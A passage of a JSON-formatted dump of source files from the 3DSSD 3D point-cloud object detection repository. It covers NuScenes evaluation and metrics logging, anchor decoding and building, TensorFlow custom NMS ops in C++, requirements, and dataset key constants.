pred_cls_category_op[arg_sort_idx]\n pred_bbox_3d_op = pred_bbox_3d_op[arg_sort_idx]\n if pred_attr_velo:\n pred_attr_op = pred_attr_op[arg_sort_idx]\n pred_velo_op = pred_velo_op[arg_sort_idx]\n\n # then transform pred_bbox_op to nuscenes_box\n boxes = cast_kitti_format_to_nusc_box_3d(pred_bbox_3d_op, pred_cls_score_op, pred_cls_category_op, cur_attribute=pred_attr_op, cur_velocity=pred_velo_op, classes=self.idx2cls_dict)\n for box in boxes:\n velocity = box.velocity[:2].tolist()\n if len(sweeps) == 0:\n velocity = (np.nan, np.nan)\n box.velocity = np.array([*velocity, 0.0])\n # then cast the box from ego to global\n boxes = _lidar_nusc_box_to_global(cur_transformation_matrix, boxes, self.idx2cls_dict, eval_version='cvpr_2019')\n\n annos = []\n for box in boxes:\n name = self.idx2cls_dict[box.label]\n if box.name == -1:\n attr = self.DefaultAttribute[name]\n else:\n attr = self.AttributeIdxLabelMapping[name][box.name]\n velocity = box.velocity[:2].tolist()\n nusc_anno = {\n \"sample_token\": cur_sample_token,\n \"translation\": box.center.tolist(),\n \"size\": box.wlh.tolist(),\n \"rotation\": box.orientation.elements.tolist(),\n \"velocity\": velocity,\n \"detection_name\": name,\n \"detection_score\": box.score,\n \"attribute_name\": attr,\n }\n annos.append(nusc_anno)\n submissions_results[info['sample_token']] = annos\n\n submissions['results'] = submissions_results \n\n res_path = os.path.join(log_dir, \"results_nusc_1.json\")\n with open(res_path, \"w\") as f:\n json.dump(submissions, f)\n eval_main_file = os.path.join(cfg.ROOT_DIR, 'lib/core/nusc_eval.py')\n root_path = self.dataset_dir\n cmd = f\"python3 {str(eval_main_file)} --root_path=\\\"{str(root_path)}\\\"\"\n cmd += f\" --version={'v1.0-trainval'} --eval_version={'cvpr_2019'}\"\n cmd += f\" --res_path=\\\"{str(res_path)}\\\" --eval_set={'val'}\"\n cmd += f\" --output_dir=\\\"{LOG_FOUT_DIR}\\\"\"\n # use subprocess can release all nusc memory after evaluation\n subprocess.check_output(cmd, shell=True)\n os.system('rm \\\"%s\\\"'%res_path) # remove former result file\n\n with open(os.path.join(log_dir, \"metrics_summary.json\"), \"r\") as f:\n metrics = json.load(f)\n return metrics \n\n\n def evaluate_recall(self, sess, feeddict_producer, pred_list, val_size, cls_thresh, log_dir, placeholders=None):\n pass\n\n\n def logger_and_select_best_map(self, metrics, log_string):\n detail = {}\n result = f\"Nusc v1.0-trainval Evaluation\\n\"\n final_score = []\n for name in self.cls_list:\n detail[name] = {}\n for k, v in metrics[\"label_aps\"][name].items():\n detail[name][f\"dist@{k}\"] = v\n tp_errs = []\n tp_names = []\n for k, v in metrics[\"label_tp_errors\"][name].items():\n detail[name][k] = v\n tp_errs.append(f\"{v:.4f}\")\n tp_names.append(k)\n threshs = ', '.join(list(metrics[\"label_aps\"][name].keys()))\n scores = list(metrics[\"label_aps\"][name].values())\n final_score.append(np.mean(scores))\n scores = ', '.join([f\"{s * 100:.2f}\" for s in scores])\n result += f\"{name} Nusc dist AP@{threshs} and TP errors\\n\"\n result += scores\n result += \"\\n\"\n result += \"mAP: %0.2f\\n\" % (np.mean(list(metrics[\"label_aps\"][name].values())) * 100)\n result += ', '.join(tp_names) + \": \" + ', '.join(tp_errs)\n result += \"\\n\"\n result += 'NDS score: %0.2f\\n' % (metrics['nd_score'] * 100)\n log_string(result)\n\n cur_result = metrics['nd_score']\n return cur_result\n\n def logger_and_select_best_recall(self, metrics, log_string):\n pass\n\n\n # save prediction results\n def save_predictions(self, sess, feeddict_producer, pred_list, val_size, cls_thresh, log_dir, placeholders=None):\n pass\n" }, { "alpha_fraction": 0.7283950448036194, "alphanum_fraction": 0.7283950448036194, "avg_line_length": 23.923076629638672, "blob_id": "cbf637b94b0fae4bcf2a7a3daba62257c44d6b4e", "content_id": "007f29bc7fad987c5f4736ffb26fb0a083856b02", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 324, "license_type": "permissive", "max_line_length": 48, "num_lines": 13, "path": "/lib/dataset/dataloader/__init__.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\nfrom .kitti_dataloader import KittiDataset\nfrom .nuscenes_dataloader import NuScenesDataset\n\ndef choose_dataset():\n dataset_dict = {\n 'KITTI': KittiDataset,\n 'NuScenes': NuScenesDataset,\n }\n return dataset_dict[cfg.DATASET.TYPE]\n" }, { "alpha_fraction": 0.5814710259437561, "alphanum_fraction": 0.605657696723938, "avg_line_length": 42.10975646972656, "blob_id": "0390f6d443244aa746c729915336132978bb7643", "content_id": "cecf026e3377b6700cecb7d3e6d98b0d1bfe9f34", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7070, "license_type": "permissive", "max_line_length": 149, "num_lines": 164, "path": "/lib/utils/anchor_decoder.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\n\nfrom core.config import cfg\n\ndef decode_class2angle(pred_cls, pred_res_norm, bin_size, bin_interval, bin_offset=0.):\n \"\"\"\n decode the angle from the predicted class\n \"\"\"\n pred_cls_onehot = tf.cast(tf.one_hot(pred_cls, depth=bin_size, on_value=1, off_value=0, axis=-1), tf.float32)\n pred_angle_res_norm = tf.reduce_sum(pred_cls_onehot * pred_res_norm, axis=-1)\n f_pred_cls = tf.cast(pred_cls, tf.float32)\n pred_res = (f_pred_cls + pred_angle_res_norm + bin_offset) * bin_interval\n return pred_res\n\n\ndef decode_log_anchor(det_residual, det_angle_cls, det_angle_res, batch_anchors_3d, is_training):\n \"\"\"\n Decode bin loss anchors:\n Args:\n det_residual: [bs, points_num, 6]\n det_angle_cls: [bs, points_num, -1]\n det_angle_res: [bs, points_num, -1]\n batch_anchors_3d: [bs, points_num, 7]\n Return:\n pred_anchors_3d: [bs, points_num, 7]\n \"\"\"\n det_ctr, det_offset = tf.split(det_residual, num_or_size_splits=2, axis=-1) # [bs, anchors_num, 3] * 2\n\n a_l, a_h, a_w = tf.unstack(batch_anchors_3d[:, :, 3:-1], axis=-1) # [bs, anchors_num]\n a_d = tf.norm(tf.stack([a_l, a_w], axis=-1), axis=-1) \n\n a_x, a_y, a_z = tf.unstack(batch_anchors_3d[:, :, :3], axis=-1) # [bs, anchors_num]\n p_x, p_y, p_z = tf.unstack(det_ctr, axis=-1)\n p_l, p_h, p_w = tf.unstack(det_offset, axis=-1)\n\n pred_x = p_x * a_d + a_x\n pred_y = p_y * a_h + a_y\n pred_z = p_z * a_d + a_z\n pred_l = tf.exp(p_l) * a_l\n pred_h = tf.exp(p_h) * a_h\n pred_w = tf.exp(p_w) * a_w\n\n \n det_angle_cls = tf.argmax(det_angle_cls, axis=-1)\n pred_angle = decode_class2angle(det_angle_cls, det_angle_res, bin_size=cfg.MODEL.ANGLE_CLS_NUM, bin_interval=2 * np.pi / cfg.MODEL.ANGLE_CLS_NUM)\n anchor_angle = batch_anchors_3d[:, :, -1]\n pred_angle = anchor_angle + pred_angle # bs, anchor_num\n \n pred_ctr = tf.stack([pred_x, pred_y, pred_z], axis=-1)\n pred_offset = tf.maximum(tf.stack([pred_l, pred_h, pred_w], axis=-1), 0.1)\n pred_angle = tf.expand_dims(pred_angle, axis=-1)\n\n pred_anchors_3d = tf.concat([pred_ctr, pred_offset, pred_angle], axis=-1)\n return pred_anchors_3d\n\n\ndef decode_dist_anchor(det_residual, det_angle_cls, det_angle_res, batch_anchors_3d, is_training):\n \"\"\"\n Decode bin loss anchors:\n Args:\n det_residual: [bs, points_num, 6]\n det_angle_cls: [bs, points_num, -1]\n det_angle_res: [bs, points_num, -1]\n batch_anchors_3d: [bs, points_num, 7]\n Return:\n pred_anchors_3d: [bs, points_num, 7]\n \"\"\"\n det_ctr, det_offset = tf.split(det_residual, num_or_size_splits=2, axis=-1)\n\n pred_ctr = batch_anchors_3d[:, :, :3] + det_ctr\n\n pred_offset = batch_anchors_3d[:, :, 3:6] + det_offset * batch_anchors_3d[:, :, 3:6]\n pred_offset = tf.maximum(pred_offset, 0.1)\n \n det_angle_cls = tf.argmax(det_angle_cls, axis=-1)\n pred_angle = decode_class2angle(det_angle_cls, det_angle_res, bin_size=cfg.MODEL.ANGLE_CLS_NUM, bin_interval=2 * np.pi / cfg.MODEL.ANGLE_CLS_NUM)\n anchor_angle = batch_anchors_3d[:, :, -1]\n pred_angle = anchor_angle + pred_angle # bs, anchor_num\n pred_angle = tf.expand_dims(pred_angle, axis=-1)\n\n pred_anchors_3d = tf.concat([pred_ctr, pred_offset, pred_angle], axis=-1)\n return pred_anchors_3d\n\n\ndef decode_dist_anchor_free(center_xyz, det_forced_6_distance, det_angle_cls, det_angle_res, is_training):\n \"\"\"\n Decode the predicted box 3d from FCOS loss\n Args:\n center_xyz: [bs, points_num, 3]\n det_forced_6_distance: [bs, points_num, 6], distance to 6 surfaces\n original_xyz: [bs, ndataset, 4], original input points, byd default [bs, 16384, 4]\n original_anchor_size: [1, 1, cls_num, 3]\n \"\"\"\n bs, points_num, _ = center_xyz.get_shape().as_list()\n\n det_angle_cls = tf.argmax(det_angle_cls, axis=-1)\n pred_angle = decode_class2angle(det_angle_cls, det_angle_res, bin_size=cfg.MODEL.ANGLE_CLS_NUM, bin_interval=2 * np.pi / cfg.MODEL.ANGLE_CLS_NUM)\n pred_angle = tf.expand_dims(pred_angle, axis=-1)\n\n translate_vector = det_forced_6_distance[:, :, :3]\n half_distance = det_forced_6_distance[:, :, 3:6]\n ctr_xyz = center_xyz + translate_vector\n # then add half translate_vector to ctr_xyz\n padding_half_height = half_distance[:, :, 1]\n padding_zeros = tf.zeros_like(padding_half_height)\n padding_translate = tf.stack([padding_zeros, padding_half_height, padding_zeros], axis=-1)\n ctr_xyz += padding_translate\n lhw = tf.maximum(half_distance * 2., 0.1)\n\n pred_anchors_3d = tf.concat([ctr_xyz, lhw, pred_angle], axis=-1)\n return pred_anchors_3d\n\n\ndef decode_bin_anchor(det_residual, det_angle_cls, det_angle_res, batch_anchors_3d, is_training,\n half_bin_search_range, bin_num_class):\n \"\"\"\n Decode bin loss anchors:\n Args:\n det_residual: [bs, points_num, xbin/xres/zbin/zres/yres/offset]\n det_angle_cls: [bs, points_num, -1]\n det_angle_res: [bs, points_num, -1]\n batch_anchors_3d: [bs, points_num, 7]\n Return:\n pred_anchors_3d: [bs, points_num, 7]\n \"\"\"\n x_bin = tf.slice(det_residual, [0, 0, bin_num_class * 0], [-1, -1, bin_num_class])\n x_res = tf.slice(det_residual, [0, 0, bin_num_class * 1], [-1, -1, bin_num_class])\n z_bin = tf.slice(det_residual, [0, 0, bin_num_class * 2], [-1, -1, bin_num_class])\n z_res = tf.slice(det_residual, [0, 0, bin_num_class * 3], [-1, -1, bin_num_class])\n det_offset = tf.slice(det_residual, [0, 0, bin_num_class * 4], [-1, -1, -1])\n\n anchor_x, anchor_y, anchor_z = tf.unstack(batch_anchors_3d[:, :, :3], axis=-1)\n\n\n x_bin = tf.argmax(x_bin, axis=-1)\n decode_x_res = decode_class2angle(x_bin, x_res, bin_size=bin_num_class, \\\n bin_interval=(half_bin_search_range * 2 / bin_num_class), \\\n bin_offset=0.5) \n pred_x = anchor_x - half_bin_search_range + decode_x_res\n\n z_bin = tf.argmax(z_bin, axis=-1)\n decode_z_res = decode_class2angle(z_bin, z_res, bin_size=bin_num_class, \\\n bin_interval=(half_bin_search_range * 2 / bin_num_class), \\\n bin_offset=0.5) \n pred_z = anchor_z - half_bin_search_range + decode_z_res \n \n det_y_res = det_offset[:, :, 0]\n pred_y = anchor_y + det_y_res\n\n pred_ctr = tf.stack([pred_x, pred_y, pred_z], axis=-1)\n\n det_size_res = det_offset[:, :, 1:]\n pred_offset = batch_anchors_3d[:, :, 3:6] + det_size_res \n pred_offset = tf.maximum(pred_offset, 0.1)\n \n det_angle_cls = tf.argmax(det_angle_cls, axis=-1)\n pred_angle = decode_class2angle(det_angle_cls, det_angle_res, bin_size=cfg.MODEL.ANGLE_CLS_NUM, bin_interval=2 * np.pi / cfg.MODEL.ANGLE_CLS_NUM)\n anchor_angle = batch_anchors_3d[:, :, -1]\n pred_angle = anchor_angle + pred_angle # bs, anchor_num\n pred_angle = tf.expand_dims(pred_angle, axis=-1)\n\n pred_anchors_3d = tf.concat([pred_ctr, pred_offset, pred_angle], axis=-1)\n return pred_anchors_3d\n" }, { "alpha_fraction": 0.6968085169792175, "alphanum_fraction": 0.792553186416626, "avg_line_length": 10, "blob_id": "0575beb964c773f27339e79a3f6ee0b41548f93c", "content_id": "db9c0ef53df5ea136eab3469ab50af92b56886ee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 188, "license_type": "permissive", "max_line_length": 16, "num_lines": 17, "path": "/requirements.txt", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "llvmlite==0.28.0\nnumba==0.43.0\nnumpy==1.14.5\nPillow<=6.2.1\ntqdm\nnuscenes-devkit\nopencv-python\nh5py\npybind11\nCython\nbpython\npyquaternion\npyyaml\nmsgpack\nmsgpack-numpy\nsetproctitle\n# mayavi\n\n" }, { "alpha_fraction": 0.5887530446052551, "alphanum_fraction": 0.5951099991798401, "avg_line_length": 34.614036560058594, "blob_id": "68aa759f799b5d59322cac45e124b4767d2f9c6a", "content_id": "09c9a2e984d25338bb45f7eabffa33875a44e171", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2045, "license_type": "permissive", "max_line_length": 100, "num_lines": 57, "path": "/lib/builder/anchor_builder.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nfrom core.config import cfg\n\nimport utils.generate_anchors as generate_anchors\nfrom utils.model_util import g_type_mean_size \n\nclass Anchors:\n def __init__(self, stage, class_list):\n \"\"\"\n The anchor class is targeted on generating anchors, assigning anchors and regressing anchors\n class_list: ['Car', 'Pedestrian', 'Cyclist'] for KITTI dataset\n prefix: 'Kitti', 'NuScenes', 'Lyft'\n \"\"\" \n self.class_list = class_list \n if cfg.DATASET.TYPE == 'KITTI':\n prefix = 'Kitti'\n elif cfg.DATASET.TYPE == 'NuScenes':\n prefix = 'NuScenes'\n elif cfg.DATASET.TYPE == 'Lyft':\n prefix = 'Lyft'\n self.class_size_keys = [\"%s_%s\"%(prefix, cls) for cls in class_list]\n\n self.anchor_sizes = [g_type_mean_size[cls_name] for cls_name in self.class_size_keys]\n self.anchors_num = len(self.anchor_sizes)\n\n if stage == 0:\n self.anchor_cfg = cfg.MODEL.FIRST_STAGE\n elif stage == 1:\n self.anchor_cfg = cfg.MODEL.SECOND_STAGE\n\n generate_function = {\n 'Anchor': self.generate_anchors,\n 'free': self.generate_anchors_free,\n }\n reg_method = self.anchor_cfg.REGRESSION_METHOD.TYPE\n anchor_type = reg_method.split('-')[-1]\n self.generate = generate_function[anchor_type]\n\n\n def generate_anchors(self, points):\n \"\"\"\n generate anchors based on points\n bs, npoint, cls_num, 7\n \"\"\"\n if isinstance(points, tf.Tensor):\n anchors_3d = generate_anchors.generate_3d_anchors_by_point_tf(points, self.anchor_sizes)\n else: # numpy\n anchors_3d = generate_anchors.generate_3d_anchors_by_point(points, self.anchor_sizes)\n return anchors_3d\n\n def generate_anchors_free(self, points):\n \"\"\"\n generate anchors based on points\n bs, npoint, 1, 3 -> bs, npoint, cls_num, 7\n \"\"\"\n return tf.expand_dims(points, axis=2)\n \n\n \n" }, { "alpha_fraction": 0.6358920931816101, "alphanum_fraction": 0.6482537984848022, "avg_line_length": 48.643775939941406, "blob_id": "63a85f63cb4298622011ccbcff8dd3bb726c7717", "content_id": "1865f2bdb27193b995ed013c988f9ff8510ec0ba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11568, "license_type": "permissive", "max_line_length": 211, "num_lines": 233, "path": "/lib/utils/tf_ops/nms/tf_nms.cpp", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <ctime>\n#include <cstring> // memset\n#include <cstdlib> // rand, RAND_MAX\n#include <cmath> // sqrtf\n#include \"tensorflow/core/framework/op.h\"\n#include \"tensorflow/core/framework/op_kernel.h\"\n#include \"tensorflow/core/framework/shape_inference.h\"\n#include \"tensorflow/core/framework/common_shape_fns.h\"\n#include <cuda_runtime.h>\n#include <iostream>\nusing namespace tensorflow;\n\nREGISTER_OP(\"PointsNms\")\n .Input(\"iou_matrix: float32\")\n .Input(\"points_sample: int32\")\n .Attr(\"merge_function: int\")\n .Attr(\"iou_thresh: float\")\n .Output(\"keep_inds: int32\") // [n]\n .Output(\"nmsed_points_sample: int32\") // [n, npoint]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // n * n\n c->WithRank(c->input(0), 2, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // n * npoints\n c->WithRank(c->input(1), 2, &dims2);\n // batch_size * npoints\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims2, 0)});\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)});\n c->set_output(0, output1);\n c->set_output(1, output2);\n return Status::OK();\n });\n\n\nREGISTER_OP(\"PointsInsideBoxes\")\n .Input(\"points: float32\") // [npoint, 3]\n .Input(\"anchors: float32\") // [anchors_num, 6]\n .Output(\"points_sample_mask: int32\") // [n, npoint]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // npoint * 3\n c->WithRank(c->input(0), 2, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // box_num * 6 \n c->WithRank(c->input(1), 2, &dims2);\n // batch_size * npoints\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims1, 0)});\n c->set_output(0, output);\n return Status::OK();\n });\n\n\nREGISTER_OP(\"PointsNmsBlock\")\n .Input(\"points_sample: int32\")\n .Attr(\"merge_function: int\")\n .Attr(\"iou_thresh: float\")\n .Attr(\"num_to_keep: int\")\n .Output(\"keep_inds: int32\") // [n]\n .Output(\"nmsed_points_sample: int32\") // [n, npoint]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims; // n * npoints\n c->WithRank(c->input(0), 2, &dims);\n // batch_size * npoints\n int num_to_keep;\n TF_RETURN_IF_ERROR(c->GetAttr(\"num_to_keep\", &num_to_keep));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({num_to_keep});\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims, 0), c->Dim(dims, 1)});\n c->set_output(0, output1);\n c->set_output(1, output2);\n return Status::OK();\n });\n\n\nREGISTER_OP(\"PointsIou\")\n .Input(\"points_sample_mask: int32\") // [n, npoint]\n .Output(\"iou_matrix: float32\") // [n, n]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims; // n * npoint\n c->WithRank(c->input(0), 2, &dims);\n // batch_size * npoints\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims, 0), c->Dim(dims, 0)});\n c->set_output(0, output);\n return Status::OK();\n });\n\n\nvoid points_nms_gpu(const int n, const int npoint, const int merge_function, float iou_thresh, const float *iou_matrix, const int *points_sample, int *keep_inds, int *nmsed_points_sample);\nclass PointsNmsGpuOp: public OpKernel{\n public:\n explicit PointsNmsGpuOp(OpKernelConstruction * context): OpKernel(context){\n OP_REQUIRES_OK(context, context->GetAttr(\"merge_function\", &merge_function_));\n OP_REQUIRES(context, merge_function_ == 1 || merge_function_ == 0 || merge_function_ == 2, errors::InvalidArgument(\"PointsNMS only support 0 or 1 or 2 value\"));\n OP_REQUIRES_OK(context, context->GetAttr(\"iou_thresh\", &iou_thresh_));\n OP_REQUIRES(context, iou_thresh_ >= 0, errors::InvalidArgument(\"Points nms iou thresh only support [0, 1]\"));\n }\n\n void Compute(OpKernelContext * context) override{\n const Tensor& iou_matrix_tensor = context->input(0);\n OP_REQUIRES(context, iou_matrix_tensor.dims()==2 && iou_matrix_tensor.shape().dim_size(0)==iou_matrix_tensor.shape().dim_size(1), errors::InvalidArgument(\"PointsNMS operation expects (n, n) shape\"));\n int n = iou_matrix_tensor.shape().dim_size(0);\n\n const Tensor& points_sample_tensor = context->input(1);\n OP_REQUIRES(context, points_sample_tensor.dims()==2 && points_sample_tensor.shape().dim_size(0)==n, errors::InvalidArgument(\"expect (n, npoints) shape for points NMS op\"));\n int npoints = points_sample_tensor.shape().dim_size(1);\n\n // then allocate the output\n Tensor *keep_inds_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{n}, &keep_inds_tensor));\n\n Tensor *nmsed_points_sample_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{n, npoints}, &nmsed_points_sample_tensor));\n\n auto iou_matrix_flat = iou_matrix_tensor.flat<float>();\n const float *iou_matrix = &(iou_matrix_flat(0));\n auto points_sample_flat = points_sample_tensor.flat<int>();\n const int *points_sample = &(points_sample_flat(0));\n auto keep_inds_flat = keep_inds_tensor->flat<int>();\n int *keep_inds = &(keep_inds_flat(0));\n auto nmsed_points_sample_flat = nmsed_points_sample_tensor->flat<int>();\n int *nmsed_points_sample = &(nmsed_points_sample_flat(0));\n\n points_nms_gpu(n, npoints, merge_function_, iou_thresh_, iou_matrix, points_sample, keep_inds, nmsed_points_sample);\n }\n private:\n float iou_thresh_;\n int merge_function_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsNms\").Device(DEVICE_GPU), PointsNmsGpuOp) \n\n\n\nvoid points_nms_block_gpu(const int n, const int npoint, const int merge_function, const float iou_thresh, const int num_to_keep, const int *points_sample, int *keep_inds, int *nmsed_points_sample);\nclass PointsNmsBlockGpuOp: public OpKernel{\n public:\n explicit PointsNmsBlockGpuOp(OpKernelConstruction * context): OpKernel(context){\n OP_REQUIRES_OK(context, context->GetAttr(\"merge_function\", &merge_function_));\n OP_REQUIRES(context, merge_function_ == 1 || merge_function_ == 0 || merge_function_ == 2, errors::InvalidArgument(\"PointsNMS only support 0 or 1 or 2 value\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"iou_thresh\", &iou_thresh_));\n OP_REQUIRES(context, iou_thresh_ >= 0, errors::InvalidArgument(\"Points nms iou thresh only support [0, 1]\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"num_to_keep\", &num_to_keep_));\n OP_REQUIRES(context, num_to_keep_ >= 0, errors::InvalidArgument(\"Points nms num_to_keep must greater than 0\"));\n }\n\n void Compute(OpKernelContext * context) override{\n\n const Tensor& points_sample_tensor = context->input(0);\n OP_REQUIRES(context, points_sample_tensor.dims()==2, errors::InvalidArgument(\"expect (n, npoints) shape for points NMS op\"));\n int n = points_sample_tensor.shape().dim_size(0);\n int npoints = points_sample_tensor.shape().dim_size(1);\n\n // then allocate the output\n Tensor *keep_inds_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{num_to_keep_}, &keep_inds_tensor));\n\n Tensor *nmsed_points_sample_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{n, npoints}, &nmsed_points_sample_tensor));\n\n auto points_sample_flat = points_sample_tensor.flat<int>();\n const int *points_sample = &(points_sample_flat(0));\n auto keep_inds_flat = keep_inds_tensor->flat<int>();\n int *keep_inds = &(keep_inds_flat(0));\n auto nmsed_points_sample_flat = nmsed_points_sample_tensor->flat<int>();\n int *nmsed_points_sample = &(nmsed_points_sample_flat(0));\n\n points_nms_block_gpu(n, npoints, merge_function_, iou_thresh_, num_to_keep_, points_sample, keep_inds, nmsed_points_sample);\n }\n private:\n float iou_thresh_;\n int merge_function_;\n int num_to_keep_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsNmsBlock\").Device(DEVICE_GPU), PointsNmsBlockGpuOp) \n\n\n\nvoid points_iou_gpu(const int n, const int npoint, const int* points_sample_mask, float* iou_matrix);\nclass PointsIouGpuOp: public OpKernel{\n public:\n explicit PointsIouGpuOp(OpKernelConstruction * context): OpKernel(context){}\n\n void Compute(OpKernelContext * context) override{\n const Tensor& points_sample_mask_tensor = context->input(0);\n OP_REQUIRES(context, points_sample_mask_tensor.dims()==2, errors::InvalidArgument(\"PointsNMS operation expects (n, npoint) shape\"));\n int n = points_sample_mask_tensor.shape().dim_size(0);\n int npoint = points_sample_mask_tensor.shape().dim_size(1);\n\n // then allocate the output\n Tensor *iou_matrix_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{n, n}, &iou_matrix_tensor));\n\n\n auto points_sample_mask_flat = points_sample_mask_tensor.flat<int>();\n const int *points_sample_mask = &(points_sample_mask_flat(0));\n\n auto iou_matrix_flat = iou_matrix_tensor->flat<float>();\n float*iou_matrix = &(iou_matrix_flat(0));\n\n points_iou_gpu(n, npoint, points_sample_mask, iou_matrix);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsIou\").Device(DEVICE_GPU), PointsIouGpuOp) \n\n\nvoid points_inside_boxes_gpu(const int n, const int npoint, const float *points, const float* anchors, int* points_sample_mask);\nclass PointsInsideBoxesGpuOp: public OpKernel{\n public:\n explicit PointsInsideBoxesGpuOp(OpKernelConstruction * context): OpKernel(context){}\n\n void Compute(OpKernelContext * context) override{\n const Tensor& points_tensor = context->input(0);\n OP_REQUIRES(context, points_tensor.dims()==2 && points_tensor.shape().dim_size(1)==3, errors::InvalidArgument(\"PointsInsideBoxesOp operation expects (npoint, 3) shape\"));\n int npoint = points_tensor.shape().dim_size(0);\n\n const Tensor& anchors_tensor = context->input(1);\n OP_REQUIRES(context, anchors_tensor.dims()==2 && anchors_tensor.shape().dim_size(1)==6, errors::InvalidArgument(\"PointsInsideBoxesOp operation expects (anchors_num, 6) shape\"));\n int n = anchors_tensor.shape().dim_size(0);\n\n // then allocate the output\n Tensor *points_sample_mask_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{n, npoint}, &points_sample_mask_tensor));\n\n auto points_flat = points_tensor.flat<float>();\n const float* points = &(points_flat(0));\n auto anchors_flat = anchors_tensor.flat<float>();\n const float* anchors = &(anchors_flat(0));\n\n auto points_sample_mask_flat = points_sample_mask_tensor->flat<int>();\n int *points_sample_mask = &(points_sample_mask_flat(0));\n\n points_inside_boxes_gpu(n, npoint, points, anchors, points_sample_mask);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsInsideBoxes\").Device(DEVICE_GPU), PointsInsideBoxesGpuOp) \n" }, { "alpha_fraction": 0.6037540435791016, "alphanum_fraction": 0.6186407804489136, "avg_line_length": 29.899999618530273, "blob_id": "9aab2d31d7a1c2bc0fe3a312404fbc67abcd1075", "content_id": "3f60d393f228a22b534b8b4c385fdddfacb2b2b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7725, "license_type": "permissive", "max_line_length": 71, "num_lines": 250, "path": "/lib/dataset/maps_dict.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "######################################################################\n# dataset loader keys\n######################################################################\nKEY_LABEL_BOXES_3D = 'label_boxes_3d'\nKEY_LABEL_ANCHORS = 'label_anchors'\nKEY_LABEL_CLASSES = 'label_classes'\nKEY_LABEL_Y_ANGLE = 'label_y_angle'\nKEY_LABEL_RES_ANGLE = 'label_res_angle'\nKEY_LABEL_SEMSEG = 'label_sem_seg'\nKEY_LABEL_DIST = 'label_dist'\nKEY_GROUNDTURTH_SEMSEG = 'label_ground_truth_sem_seg'\n\n############## NuScenes Labels #########\nKEY_LABEL_ATTRIBUTES = 'label_attributes'\nKEY_LABEL_VELOCITY = 'label_velocity'\nKEY_SWEEPS = 'sweeps'\nKEY_TRANSFORMRATION_MATRIX = 'transformation_matrix'\nKEY_TIMESTAMPS = 'time_stamps'\n############## NuScenes Labels #########\n\nKEY_OUTPUT_XYZ = 'final_xyz'\nKEY_OUTPUT_FEATURE = 'final_feature'\nKEY_ANCHORS_3D = 'anchors_3d'\n\nKEY_IMAGE_INPUT = 'image_input'\nKEY_BEV_INPUT = 'bev_input'\n\nKEY_LABEL_NUM = 'label_num'\n\nKEY_SAMPLE_IDX = 'sample_idx'\nKEY_SAMPLE_NAME = 'sample_name'\nKEY_SAMPLE_AUGS = 'sample_augs'\n\nKEY_POINT_CLOUD = 'point_cloud'\nKEY_GROUND_PLANE = 'ground_plane'\nKEY_STEREO_CALIB = 'stereo_calib'\nKEY_VOLUMES = 'volumes'\n\n\n######################################################################\n# SECOND data augmentations\n######################################################################\nKEY_SAMPLED_GT_POINTS = 'sampled_gt_points'\nKEY_SAMPLED_GT_LABELS_3D = 'sampled_gt_labels_3d'\nKEY_SAMPLED_GT_SEM_LABELS = 'sampled_gt_sem_labels'\nKEY_SAMPLED_GT_SEM_SCORES = 'sampled_gt_sem_scores'\nKEY_SAMPLED_GT_CLSES = 'sampled_gt_classes'\nKEY_SAMPLED_GT_ATTRIBUTES = 'sampled_gt_attributes'\nKEY_SAMPLED_GT_VELOCITY = 'sampled_gt_velocity'\n\n######################################################################\n# point cloud object detection keys\n######################################################################\nPL_POINTS_INPUT = 'point_cloud_pl'\nPL_ANGLE_CLS = 'angle_cls_pl'\nPL_ANGLE_RESIDUAL = 